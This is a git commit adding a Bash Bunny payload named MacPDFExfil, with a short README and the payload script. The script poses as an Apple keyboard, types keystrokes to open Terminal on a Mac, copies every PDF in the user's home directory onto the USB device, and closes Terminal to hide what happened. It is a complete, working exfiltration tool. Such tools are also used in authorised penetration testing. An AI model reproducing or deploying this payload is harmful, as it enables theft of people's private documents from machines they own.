Added MacPDFExfil payload (#186)

This commit is contained in:
k1ul3ss 2017-04-16 00:53:49 -05:00 committed by Sebastian Kinne
parent 6cf19a1fdb
commit 7534270a7a
2 changed files with 44 additions and 0 deletions

View File

@ -0,0 +1,15 @@
# MacPDFExfil
Author: k1ul3ss
Version: Version 1.0
Target: macOS
## Description
Mounts as storage and acts as HID. Backup PDF files to the BashBunny
## Configuration
Configured to copy all PDFs located in the users home directory to the BashBunnny
## STATUS

View File

@ -0,0 +1,29 @@
#!/bin/bash
#
# Title: MacPDFExfil
# Author: k1ul3ss
# Props: audibleblink
# Version: 1.0
# Category: Exfiltration
# Target: macOS
# Attackmodes: HID, Storage
ATTACKMODE STORAGE HID VID_0X05AC PID_0X021E
# device name
dev_name="BashBunny"
# loot directory
lootdir="/Volumes/$dev_name/loot/"
QUACK GUI SPACE
QUACK DELAY 1000
QUACK STRING terminal
QUACK ENTER
QUACK DELAY 3000
# Find all PDFs stored in the user's home directory, and copy them over to the BashBunny storage.
QUACK STRING find \~ -name \'*.pdf\' -exec cp \"{}\" $lootdir \\\;\; killall Terminal
QUACK ENTER
# sync the filesystem
sync